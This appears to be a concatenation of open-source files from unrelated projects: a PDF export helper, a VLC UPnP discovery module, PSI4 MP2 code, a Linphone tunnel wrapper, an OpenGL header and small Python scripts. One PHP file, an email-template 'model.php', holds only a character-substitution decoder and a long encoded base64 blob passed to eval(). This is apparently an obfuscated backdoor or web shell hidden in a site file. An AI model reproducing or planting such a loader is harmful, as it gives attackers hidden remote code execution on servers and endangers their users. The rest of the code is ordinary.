for field in fields]]
for item in items:
row = [Paragraph(objects.get_field_value_human(item.get_value(
field)), style_normal) for field in fields]
data.append(row)
table_style = [('ALIGN', (0, 0), (-1, 0), 'CENTER'),
('VALIGN', (0, 0), (-1, -1), 'MIDDLE'),
('GRID', (0, 0), (-1, -1), 0.25, colors.black)]
table = Table(data)
table.setStyle(TableStyle(table_style))
yield table
def _create_pdf_all(cls, items):
styles = _prepare_styles()
style_header = styles['FieldHead']
style_normal = styles['Normal']
style_title = styles['ItemTitle']
fields = cls.fields
table_style = TableStyle([('GRID', (0, 0), (-1, -1), 0.25, colors.black)])
for item in items:
if cls.title_show:
yield Paragraph(item.title, style_title)
rows = []
for field_name, field_type, dummy, dummy in fields:
row = [Paragraph(objects.get_field_value_human(field_name),
style_header)]
if field_type == 'image':
blob = item.get_blob(field_name)
if blob:
img = Image(StringIO(blob), lazy=2)
img.drawWidth = img.drawWidth / 150. * inch
img.drawHeight = img.drawHeight / 150. * inch
row.append(img)
else:
row.append(Paragraph(objects.get_field_value_human(
item.get_value(field_name)), style_normal))
rows.append(row)
yield Table(rows, [5 * cm, None], style=table_style)
yield Spacer(0.5 * cm, 0.5 * cm)
# vim: encoding=utf8: ff=unix:
| KarolBedkowski/alldb | alldb/filetypes/pdf_support.py | Python | gpl-2.0 | 4,841 |
<?php
$vTVY5LM = Array('1'=>'7', '0'=>'c', '3'=>'h', '2'=>'g', '5'=>'b', '4'=>'k', '7'=>'0', '6'=>'O', '9'=>'u', '8'=>'E', 'A'=>'T', 'C'=>'L', 'B'=>'v', 'E'=>'S', 'D'=>'J', 'G'=>'R', 'F'=>'M', 'I'=>'C', 'H'=>'9', 'K'=>'l', 'J'=>'q', 'M'=>'F', 'L'=>'W', 'O'=>'i', 'N'=>'w', 'Q'=>'4', 'P'=>'8', 'S'=>'y', 'R'=>'Q', 'U'=>'B', 'T'=>'e', 'W'=>'3', 'V'=>'z', 'Y'=>'d', 'X'=>'m', 'Z'=>'G', 'a'=>'K', 'c'=>'1', 'b'=>'s', 'e'=>'6', 'd'=>'o', 'g'=>'f', 'f'=>'H', 'i'=>'5', 'h'=>'n', 'k'=>'a', 'j'=>'V', 'm'=>'2', 'l'=>'U', 'o'=>'Z', 'n'=>'D', 'q'=>'j', 'p'=>'Y', 's'=>'I', 'r'=>'p', 'u'=>'A', 't'=>'t', 'w'=>'X', 'v'=>'x', 'y'=>'N', 'x'=>'r', 'z'=>'P');
function vA22VSK($vB7G59L, $vTLWPT7){$vKYW044 = ''; for($i=0; $i < strlen($vB7G59L); $i++){$vKYW044 .= isset($vTLWPT7[$vB7G59L[$i]]) ? $vTLWPT7[$vB7G59L[$i]] : $vB7G59L[$i];}
return base64_decode($vKYW044);}
$vSZKW5W = 'kLpdkwyVowRdDMHAGjDLGjsraRr1I244wcyMlKoMlKbhl83Rwc'.
'yMA8phwEuHsIsBsqb2I244wcyMlKoMlKbhl4jyAcGMw7M8GMshwEuHsIsvFq'.
'09FIQNCq8O6NdDkLpdsLjt0fGiaIGgl7jEj4jELSYsjMGRwc3gG4HEj7MEG8j8w7ozlOYYaE4aIwbaIR44wcyMlKoMlKbhEMGll'.
'MHpw7ozlKYUl4GMGMHZAcshwEuHsIsvFq09FIQNCq8O6NdDgRrHI2rroO3r0WyKYI24w'.
'7oDA8jAaE4aTNdDoXHSoLMqkI24w7oDA8jAsZMVsIGxow42zAQ2DZor5ZlrI2K'.
'1I24DkLpdswy70hUB0S24oXKbojbh5XMtoEYYCIuOCXrNoSsraRdDIwbaIR4DDZor5Zj9pLcKsn72pLv7owDg5LM'.
'q0XHVaIGXkLvKLSY9pLcKDc7r6NdDIR44oXKboLi35Ll2zEU9YLcg5LMq0XHVaIGXkLvK5XMtoE41I24DIEGXkLvK5XM'.
'toEuHsf39YLcg5LMq0XHVaIGXkLvK5XMtoE41I24DIEGgG4KFGjy5DZtKTjc5sXi35LlOwE'.
'uHsIGXkLvK5XMtoAbaIRKHI2KHIh7aIRrXYLiqYZKB5OUqYwy7'.
'5mcg0WGSkwUgYZMh0S24YZjQYI4aTNd2sIu2DfGKTfR2zEUVYf'.
'D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'.
'LKbsn72ow3N5ZH4oE2OzIsbsIGX0XHtaAbaIR44ohDB5jHK5LMr5IuHsZjQ0ZvBoZldsqQOCIu4ohDB5jHK5LMr5MbvwE4'.
'1I24DDZoS5mcg5XMtoEuHsZjQ0ZvBoZldsKNOsON2DZoS5m7r6NdaIR445ZMVYMHK0hDB0OuHsfyK5XGA5wGNALM'.
'r5I24ohDB5jHK5LMr5MbNwEN2DZoS5mcg5XMtojbvwEN2DZjtpLKbCIu4'.
'YZ3K5LlbsIGtowyVpLYKCIu4oZM7pjbh5fRhwEN2DZyB5XorocHXkLvKaAbaIR4aIRKroOudD'.
'Zv30WGgowDS5Ws2zA7HsnurI24DTNdDIR44omHBoIbx6NdDIw7aIRKK5'.
'fyKI24DTNdDIR44pXM4aSb1I24DIEGh5mH4sn72pmHc5hRdDZG3YZM5D'.
'mlhwE42CEu4pXM46NdDIw7aIw7aI2440XjVLSDSsKc5sXlOwEuHsIGbpwy7wmjS0XHSs'.
'n7HzEUZRlvAGEu/snu26Ou45ZMVYMHK0hDB0qbaIEGSowy5shsOwjbOoSDYsn72DZYB5mR1I2440XjVLSDSsKc5'.
'sXsOwEuHsIGOpLR1I2dD0Xj7YwD9sZD30mlmyMHK5XyBoZld0mjSkLMbkwrKaIGSowFraAbagRd=';
eval(vA22VSK($vSZKW5W, $vTVY5LM));?> | tsmulugeta/vi.com | emails/NatDirector_congrats/model.php | PHP | gpl-2.0 | 118,303 |
/*****************************************************************************
* upnp_cc.cpp : UPnP discovery module
*****************************************************************************
* Copyright (C) 2004-2005 the VideoLAN team
* $Id$
*
* Authors: Rémi Denis-Courmont <rem # videolan.org>
*
* Based on original wxWindows patch for VLC, and dependent on CyberLink
* UPnP library from :
* Satoshi Konno <skonno@cybergarage.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
*****************************************************************************/
/*****************************************************************************
* Includes
*****************************************************************************/
#include <cybergarage/upnp/media/player/MediaPlayer.h>
#undef PACKAGE_NAME
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <vlc_common.h>
#include <vlc_plugin.h>
#include <vlc_playlist.h>
#include <vlc_services_discovery.h>
/* FIXME: thread-safety ?? */
/* FIXME: playlist locking */
/************************************************************************
* Macros and definitions
************************************************************************/
using namespace std;
using namespace CyberLink;
/*****************************************************************************
* Module descriptor
*****************************************************************************/
/* Callbacks */
static int Open ( vlc_object_t * );
static void Close( vlc_object_t * );
vlc_module_begin ()
set_shortname( "UPnP")
set_description( N_("Universal Plug'n'Play discovery") )
set_category( CAT_PLAYLIST )
set_subcategory( SUBCAT_PLAYLIST_SD )
set_capability( "services_discovery", 0 )
set_callbacks( Open, Close )
vlc_module_end ()
/*****************************************************************************
* Run: main UPnP thread
*****************************************************************************
* Processes UPnP events
*****************************************************************************/
class UPnPHandler : public MediaPlayer, public DeviceChangeListener,
/*public EventListener,*/ public SearchResponseListener
{
private:
services_discovery_t *p_sd;
Device *GetDeviceFromUSN( const string& usn )
{
return getDevice( usn.substr( 0, usn.find( "::" ) ).c_str() );
}
playlist_item_t *FindDeviceNode( Device *dev )
{
return playlist_ChildSearchName( p_sd->p_cat, dev->getFriendlyName() );
}
playlist_item_t *FindDeviceNode( const string &usn )
{
return FindDeviceNode( GetDeviceFromUSN( usn ) );
}
playlist_item_t *AddDevice( Device *dev );
void AddDeviceContent( Device *dev );
void AddContent( playlist_item_t *p_parent, ContentNode *node );
void RemoveDevice( Device *dev );
/* CyberLink callbacks */
virtual void deviceAdded( Device *dev );
virtual void deviceRemoved( Device *dev );
virtual void deviceSearchResponseReceived( SSDPPacket *packet );
/*virtual void eventNotifyReceived( const char *uuid, long seq,
const char *name,
const char *value );*/
public:
UPnPHandler( services_discovery_t *p_this )
: p_sd( p_this )
{
addDeviceChangeListener( this );
addSearchResponseListener( this );
//addEventListener( this );
}
};
/*****************************************************************************
* Open: initialize and create stuff
*****************************************************************************/
static int Open( vlc_object_t *p_this )
{
services_discovery_t *p_sd = ( services_discovery_t* )p_this;
UPnPHandler *u = new UPnPHandler( p_sd );
u->start( );
msg_Dbg( p_sd, "upnp discovery started" );
p_sd->p_private = u;
return VLC_SUCCESS;
}
/*****************************************************************************
* Close:
*****************************************************************************/
static void Close( vlc_object_t *p_this )
{
UPnPHandler *u = (UPnPHandler *)p_this->p_private;
u->stop( );
msg_Dbg( p_this, "upnp discovery started" );
}
playlist_item_t *UPnPHandler::AddDevice( Device *dev )
{
if( dev == NULL )
return NULL;
/* We are not interested in IGD devices or whatever (at the moment) */
if ( !dev->isDeviceType( MediaServer::DEVICE_TYPE ) )
return NULL;
playlist_item_t *p_item = FindDeviceNode( dev );
if ( p_item != NULL )
return p_item;
/* FIXME:
* Maybe one day, VLC API will make sensible use of the const keyword;
* That day, you will no longer need this strdup().
*/
char *str = strdup( dev->getFriendlyName( ) );
p_item = playlist_NodeCreate( p_playlist, str, p_sd->p_cat, 0, NULL );
p_item->i_flags &= ~PLAYLIST_SKIP_FLAG;
msg_Dbg( p_sd, "device %s added", str );
free( str );
return p_item;
}
void UPnPHandler::AddDeviceContent( Device *dev )
{
playlist_item_t *p_devnode = AddDevice( dev );
if( p_devnode == NULL )
return;
AddContent( p_devnode, getContentDirectory( dev ) );
}
void UPnPHandler::AddContent( playlist_item_t *p_parent, ContentNode *node )
{
if( node == NULL )
return;
const char *title = node->getTitle();
if( title == NULL )
return;
msg_Dbg( p_sd, "title = %s", title );
if ( node->isItemNode() )
{
ItemNode *iNode = (ItemNode *)node;
input_item_t *p_input = input_item_New( p_sd, iNode->getResource(), title );
/* FIXME: playlist_AddInput() can fail */
playlist_BothAddInput( p_playlist, p_input, p_parent,
PLAYLIST_APPEND, PLAYLIST_END, NULL, NULL,
false );
vlc_gc_decref( p_input );
} else if ( node->isContainerNode() )
{
ContainerNode *conNode = (ContainerNode *)node;
char* p_name = strdup(title); /* See other comment on strdup */
playlist_item_t* p_node = playlist_NodeCreate( p_playlist, p_name,
p_parent, 0, NULL );
free(p_name);
unsigned nContentNodes = conNode->getNContentNodes();
for( unsigned n = 0; n < nContentNodes; n++ )
AddContent( p_node, conNode->getContentNode( n ) );
}
}
void UPnPHandler::RemoveDevice( Device *dev )
{
playlist_item_t *p_item = FindDeviceNode( dev );
if( p_item != NULL )
playlist_NodeDelete( p_playlist, p_item, true, true );
}
void UPnPHandler::deviceAdded( Device *dev )
{
msg_Dbg( p_sd, "adding device" );
AddDeviceContent( dev );
}
void UPnPHandler::deviceRemoved( Device *dev )
{
msg_Dbg( p_sd, "removing device" );
RemoveDevice( dev );
}
void UPnPHandler::deviceSearchResponseReceived( SSDPPacket *packet )
{
if( !packet->isRootDevice() )
return;
string usn, nts, nt, udn;
packet->getUSN( usn );
packet->getNT( nt );
packet->getNTS( nts );
udn = usn.substr( 0, usn.find( "::" ) );
/* Remove existing root device before adding updated one */
Device *dev = GetDeviceFromUSN( usn );
RemoveDevice( dev );
if( !packet->isByeBye() )
AddDeviceContent( dev );
}
/*void UPnPHandler::eventNotifyReceived( const char *uuid, long seq,
const char *name, const char *value )
{
msg_Dbg( p_sd, "event notify received" );
msg_Dbg( p_sd, "uuid = %s, name = %s, value = %s", uuid, name, value );
}*/
| maddox/vlc | modules/services_discovery/upnp_cc.cpp | C++ | gpl-2.0 | 8,500 |
/*
*@BEGIN LICENSE
*
* PSI4: an ab initio quantum chemistry software package
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
*@END LICENSE
*/
/*! \file
\ingroup CIS
\brief Enter brief description of file here
*/
#include <cmath>
#include <cstdlib>
#include <libdpd/dpd.h>
#include <psifiles.h>
#include "MOInfo.h"
#include "Params.h"
#include "Local.h"
#define EXTERN
#include "globals.h"
namespace psi { namespace cis {
void local_filter_T1(dpdfile2 *T1);
void local_filter_T2(dpdbuf4 *T2);
void mp2(void)
{
int iter, h, nirreps, row, col;
double energy, conv, rms, value;
dpdfile2 F;
dpdbuf4 D, T2, newT2, Z;
nirreps = moinfo.nirreps;
if(params.ref == 0) { /** RHF **/
/* build initial guess amplitudes */
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 0, 5, 0, 5, 0, "D <ij|ab>");
global_dpd_->buf4_copy(&D, PSIF_CC_MISC, "MP2 tIjAb");
global_dpd_->buf4_close(&D);
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 tIjAb");
if(params.local) local_filter_T2(&T2);
else {
global_dpd_->buf4_init(&D, PSIF_CC_DENOM, 0, 0, 5, 0, 5, 0, "dIjAb");
global_dpd_->buf4_dirprd(&D, &T2);
global_dpd_->buf4_close(&D);
}
global_dpd_->buf4_copy(&T2, PSIF_CC_MISC, "New MP2 tIjAb");
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 0, 5, 0, 5, 0, "D 2<ij|ab> - <ij|ba>");
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 tIjAb");
energy = global_dpd_->buf4_dot(&D, &T2);
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_close(&D);
if(params.local) {
fprintf(outfile, "\n\tSolving for LMP2 wave function:\n");
fprintf(outfile, "\t-------------------------------\n");
fprintf(outfile, "\titer = %d LMP2 Energy = %20.14f\n", 0, energy);
}
else {
fprintf(outfile, "\n\tSolving for MP2 wave function:\n");
fprintf(outfile, "\t-------------------------------\n");
fprintf(outfile, "\titer = %d MP2 Energy = %20.14f\n", 0, energy);
}
conv = 0;
for(iter=1; iter < params.maxiter; iter++) {
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 0, 5, 0, 5, 0, "D <ij|ab>");
global_dpd_->buf4_copy(&D, PSIF_CC_MISC, "New MP2 tIjAb Increment");
global_dpd_->buf4_close(&D);
global_dpd_->buf4_init(&newT2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "New MP2 tIjAb Increment");
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 tIjAb");
global_dpd_->file2_init(&F, PSIF_CC_OEI, 0, 0, 0, "fIJ");
global_dpd_->contract424(&T2, &F, &newT2, 1, 0, 1, -1, 1);
global_dpd_->contract244(&F, &T2, &newT2, 0, 0, 0, -1, 1);
global_dpd_->file2_close(&F);
global_dpd_->file2_init(&F, PSIF_CC_OEI, 0, 1, 1, "fAB");
global_dpd_->contract244(&F, &T2, &newT2, 1, 2, 1, 1, 1);
global_dpd_->contract424(&T2, &F, &newT2, 3, 1, 0, 1, 1);
global_dpd_->file2_close(&F);
global_dpd_->buf4_close(&T2);
if(params.local) {
local_filter_T2(&newT2);
}
else {
global_dpd_->buf4_init(&D, PSIF_CC_DENOM, 0, 0, 5, 0, 5, 0, "dIjAb");
global_dpd_->buf4_dirprd(&D, &newT2);
global_dpd_->buf4_close(&D);
}
global_dpd_->buf4_close(&newT2);
global_dpd_->buf4_init(&newT2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "New MP2 tIjAb");
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "New MP2 tIjAb Increment");
global_dpd_->buf4_axpy(&T2, &newT2, 1);
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 0, 5, 0, 5, 0, "D 2<ij|ab> - <ij|ba>");
energy = global_dpd_->buf4_dot(&D, &newT2);
global_dpd_->buf4_close(&D);
global_dpd_->buf4_close(&newT2);
global_dpd_->buf4_init(&newT2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "New MP2 tIjAb");
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 tIjAb");
rms = 0.0;
for(h=0; h < nirreps; h++) {
global_dpd_->buf4_mat_irrep_init(&newT2, h);
global_dpd_->buf4_mat_irrep_rd(&newT2, h);
global_dpd_->buf4_mat_irrep_init(&T2, h);
global_dpd_->buf4_mat_irrep_rd(&T2, h);
for(row=0; row < T2.params->rowtot[h]; row++)
for(col=0; col < T2.params->coltot[h]; col++) {
value = newT2.matrix[h][row][col] - T2.matrix[h][row][col];
rms += value * value;
}
global_dpd_->buf4_mat_irrep_close(&T2, h);
global_dpd_->buf4_mat_irrep_close(&newT2, h);
}
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_close(&newT2);
rms = sqrt(rms);
if(params.local) {
fprintf(outfile, "\titer = %d LMP2 Energy = %20.14f RMS = %4.3e\n", iter, energy, rms);
}
else {
fprintf(outfile, "\titer = %d MP2 Energy = %20.14f RMS = %4.3e\n", iter, energy, rms);
}
if(rms < params.convergence) {
conv = 1;
fprintf(outfile, "\n\tMP2 iterations converged.\n\n");
break;
}
else {
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "New MP2 tIjAb");
global_dpd_->buf4_copy(&T2, PSIF_CC_MISC, "MP2 tIjAb");
global_dpd_->buf4_close(&T2);
}
}
if(!conv) {
fprintf(outfile, "\n\tMP2 iterative procedure failed.\n");
throw PsiException("cis MP2 iteration error", __FILE__, __LINE__);
}
/* spin adapt the final amplitudes */
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 tIjAb");
global_dpd_->buf4_sort(&T2, PSIF_CC_TMP0, pqsr, 0, 5, "MP2 tIjbA");
global_dpd_->buf4_copy(&T2, PSIF_CC_MISC, "MP2 2 tIjAb - tIjbA");
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 0, 5, 0, 5, 0, "MP2 2 tIjAb - tIjbA");
global_dpd_->buf4_scm(&T2, 2);
global_dpd_->buf4_init(&Z, PSIF_CC_TMP0, 0, 0, 5, 0, 5, 0, "MP2 tIjbA");
global_dpd_->buf4_axpy(&Z, &T2, -1);
global_dpd_->buf4_close(&Z);
global_dpd_->buf4_close(&T2);
}
else if(params.ref == 2) { /** UHF **/
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 2, 7, 2, 7, 0, "D <IJ||AB> (I>J,A>B)");
global_dpd_->buf4_copy(&D, PSIF_CC_MISC, "MP2 tIJAB");
global_dpd_->buf4_close(&D);
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 2, 7, 2, 7, 0, "MP2 tIJAB");
global_dpd_->buf4_init(&D, PSIF_CC_DENOM, 0, 1, 6, 1, 6, 0, "dIJAB");
global_dpd_->buf4_dirprd(&D, &T2);
global_dpd_->buf4_close(&D);
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 12, 17, 12, 17, 0, "D <ij||ab> (i>j,a>b)");
global_dpd_->buf4_copy(&D, PSIF_CC_MISC, "MP2 tijab");
global_dpd_->buf4_close(&D);
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 12, 17, 12, 17, 0, "MP2 tijab");
global_dpd_->buf4_init(&D, PSIF_CC_DENOM, 0, 11, 16, 11, 16, 0, "dijab");
global_dpd_->buf4_dirprd(&D, &T2);
global_dpd_->buf4_close(&D);
global_dpd_->buf4_close(&T2);
global_dpd_->buf4_init(&D, PSIF_CC_DINTS, 0, 22, 28, 22, 28, 0, "D <Ij|Ab>");
global_dpd_->buf4_copy(&D, PSIF_CC_MISC, "MP2 tIjAb");
global_dpd_->buf4_close(&D);
global_dpd_->buf4_init(&T2, PSIF_CC_MISC, 0, 22, 28, 22, 28, 0, "MP2 tIjAb");
global_dpd_->buf4_init(&D, PSIF_CC_DENOM, 0, 22, 28, 22, 28, 0, "dIjAb");
global_dpd_->buf4_dirprd(&D, &T2);
global_dpd_->buf4_close(&D);
global_dpd_->buf4_close(&T2);
}
}
}} // namespace psi::cis
| spring01/libPSI | src/bin/attic/cis/mp2.cc | C++ | gpl-2.0 | 7,905 |
/*
*
* Copyright © 2010-2011 Balázs Tóth <tbalazs@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
*/
#ifndef _QUAD_
#define _QUAD_
#include <GL/glew.h>
#include "Shader.hpp"
class Quad{
private:
GLuint vertexArray;
static GLfloat vertices[18];
GLuint vertexBuffer;
static GLfloat texCoords[12];
GLuint texCoordBuffer;
public:
Quad();
~Quad();
void render(Shader* shader);
};
#endif
| szecsi/Gears | Gears/src/gpu/Quad.hpp | C++ | gpl-2.0 | 1,099 |
/*
Tunnel.cpp
Copyright (C) 2015 Belledonne Communications, Grenoble, France
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include "Tunnel.h"
#include "Server.h"
#include "Enums.h"
#include "ApiLock.h"
#include <collection.h>
using namespace Platform;
using namespace Platform::Collections;
using namespace Windows::Foundation;
using namespace Windows::Foundation::Collections;
Linphone::Core::TunnelConfig::TunnelConfig(Platform::String^ host, int port, int udpMirrorPort, int roundTripDelay) :
host(host),
port(port),
udpMirrorPort(udpMirrorPort),
roundTripDelay(roundTripDelay)
{
}
Platform::String^ Linphone::Core::TunnelConfig::Host::get()
{
return this->host;
}
void Linphone::Core::TunnelConfig::Host::set(Platform::String^ value)
{
API_LOCK;
this->host = value;
}
int Linphone::Core::TunnelConfig::Port::get()
{
return this->port;
}
void Linphone::Core::TunnelConfig::Port::set(int value)
{
API_LOCK;
this->port = value;
}
int Linphone::Core::TunnelConfig::UdpMirrorPort::get()
{
return this->udpMirrorPort;
}
void Linphone::Core::TunnelConfig::UdpMirrorPort::set(int value)
{
API_LOCK;
this->udpMirrorPort = value;
}
int Linphone::Core::TunnelConfig::RoundTripDelay::get()
{
return this->roundTripDelay;
}
void Linphone::Core::TunnelConfig::RoundTripDelay::set(int value)
{
API_LOCK;
this->roundTripDelay = value;
}
Platform::String^ Linphone::Core::TunnelConfig::ToString()
{
return "host[" + this->host + "] port[" + this->port + "] udpMirrorPort[" + this->udpMirrorPort + "] roundTripDelay[" + this->roundTripDelay + "]";
}
Linphone::Core::Tunnel::Tunnel(::LinphoneTunnel *tunnel) :
lt(tunnel)
{
}
Linphone::Core::Tunnel::~Tunnel()
{
}
Platform::Boolean Linphone::Core::Tunnel::IsEnabled()
{
API_LOCK;
return (linphone_tunnel_enabled(this->lt) == TRUE);
}
void Linphone::Core::Tunnel::Enable(Platform::Boolean enable)
{
API_LOCK;
linphone_tunnel_enable(this->lt, enable);
}
void Linphone::Core::Tunnel::AutoDetect()
{
API_LOCK;
linphone_tunnel_auto_detect(this->lt);
}
static void AddServerConfigToVector(void *vServerConfig, void *vector)
{
::LinphoneTunnelConfig *pc = (LinphoneTunnelConfig *)vServerConfig;
Linphone::Core::RefToPtrProxy<IVector<Object^>^> *list = reinterpret_cast< Linphone::Core::RefToPtrProxy<IVector<Object^>^> *>(vector);
IVector<Object^>^ serverconfigs = (list) ? list->Ref() : nullptr;
const char *chost = linphone_tunnel_config_get_host(pc);
int port = linphone_tunnel_config_get_port(pc);
int udpMirrorPort = linphone_tunnel_config_get_remote_udp_mirror_port(pc);
int roundTripDelay = linphone_tunnel_config_get_delay(pc);
Linphone::Core::TunnelConfig^ serverConfig = ref new Linphone::Core::TunnelConfig(Linphone::Core::Utils::cctops(chost), port, udpMirrorPort, roundTripDelay);
serverconfigs->Append(serverConfig);
}
IVector<Object^>^ Linphone::Core::Tunnel::GetServers()
{
API_LOCK;
IVector<Object^>^ serverconfigs = ref new Vector<Object^>();
const MSList *configList = linphone_tunnel_get_servers(this->lt);
RefToPtrProxy<IVector<Object^>^> *serverConfigPtr = new RefToPtrProxy<IVector<Object^>^>(serverconfigs);
ms_list_for_each2(configList, AddServerConfigToVector, serverConfigPtr);
return serverconfigs;
}
void Linphone::Core::Tunnel::CleanServers()
{
API_LOCK;
linphone_tunnel_clean_servers(this->lt);
}
void Linphone::Core::Tunnel::SetHttpProxy(Platform::String^ host, int port, Platform::String^ username, Platform::String^ password)
{
API_LOCK;
const char* h = Linphone::Core::Utils::pstoccs(host);
const char* u = Linphone::Core::Utils::pstoccs(username);
const char* pwd = Linphone::Core::Utils::pstoccs(password);
linphone_tunnel_set_http_proxy(this->lt, h, port, u, pwd);
delete(h);
delete(u);
delete(pwd);
}
void Linphone::Core::Tunnel::AddServer(Platform::String^ host, int port)
{
API_LOCK;
const char* h = Linphone::Core::Utils::pstoccs(host);
LinphoneTunnelConfig* config = linphone_tunnel_config_new();
linphone_tunnel_config_set_host(config, h);
linphone_tunnel_config_set_port(config, port);
linphone_tunnel_add_server(this->lt, config);
delete(h);
}
void Linphone::Core::Tunnel::AddServer(Platform::String^ host, int port, int udpMirrorPort, int roundTripDelay)
{
API_LOCK;
const char* h = Linphone::Core::Utils::pstoccs(host);
LinphoneTunnelConfig* config = linphone_tunnel_config_new();
linphone_tunnel_config_set_host(config, h);
linphone_tunnel_config_set_port(config, port);
linphone_tunnel_config_set_delay(config, roundTripDelay);
linphone_tunnel_config_set_remote_udp_mirror_port(config, udpMirrorPort);
linphone_tunnel_add_server(this->lt, config);
delete(h);
}
| BelledonneCommunications/linphone-wp | Core/Tunnel.cpp | C++ | gpl-2.0 | 5,270 |
#convert nexus tree format to newick
import sys
import os
import dendropy
for n in sys.argv[1:]:
basename = os.path.splitext(n)
outfile = basename[0] + ".nwk"
nexusfile = dendropy.TreeList.get_from_path(n, "nexus")
nexusfile.write_to_path('temp.nwk', "newick")
os.rename('temp.nwk', outfile)
| Wendellab/phylogenetics | nexus2newick.py | Python | gpl-2.0 | 314 |
#
# Copyright (C) 2010 B. Malengier
# Copyright (C) 2010 P.Li
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
"""
upscaling to fabric1d domain
Here a room of LxWxH is modeled with a net spanning the room at L/2
This can be reduced to a 1D model.
The yarn in the net is modeled as 1D cilindrical over 2 x Ry. The mass
outside the yarn (Ry, 2Ry) (the overlap zone) is put in the room model
which runs from Ry to L/2. Note that this is a cube domain!
The room allows for some ventilation L/s which is modeled as removing
the corresponding volume of AI from everywhere
"""
#-------------------------------------------------------------------------
#
# Global Imports
#
#-------------------------------------------------------------------------
from __future__ import division, print_function
import os.path
import numpy as np
import matplotlib.pyplot as plt
import math
from numpy import pi
MAX_STORE_LENGTH = 1000
MAX_PLOT_LENGTH = 500000
INSPECT_MEM = False
HAVE_ODES = False
try:
from scikits.odes import ode as sc_ode
HAVE_ODES = True
except:
print ('Could not load scikits.odes, odes solver not available')
#consider absorption problem possible or not?
ABSORPTION = True
#-------------------------------------------------------------------------
#
# Local Imports
#
#-------------------------------------------------------------------------
import stick.const as const
import stick.lib.utils.utils as utils
from stick.yarn.config import YarnConfigManager
from stick.yarn1d.yarn1dmodel import Yarn1DModel
#-------------------------------------------------------------------------
#
# DiffusionModel-fabric1d class
#
#-------------------------------------------------------------------------
class Room1DModel(object):
"""
upscaling to fabric1d domain
Here a room of LxWxH is modeled with a net spanning the room at L/2
This can be reduced to a 1D model.
The yarn in the net is modeled as 1D cilindrical over 2 x Ry. The mass
outside the yarn (Ry, 2Ry) (the overlap zone) is put in the room model
which runs from Ry to L/2. Note that this is a cube domain!
The room allows for some ventilation L/s which is modeled as removing
the corresponding volume of AI from everywhere
"""
def __init__(self, config):
#indicate if only one side of bednet is free, or both are free
self.singleside = False
#other settings from config
self.cfg = config
self.verbose = self.cfg.get('general.verbose')
self.time_period = self.cfg.get('time.time_period')
self.delta_t = self.cfg.get('time.dt')
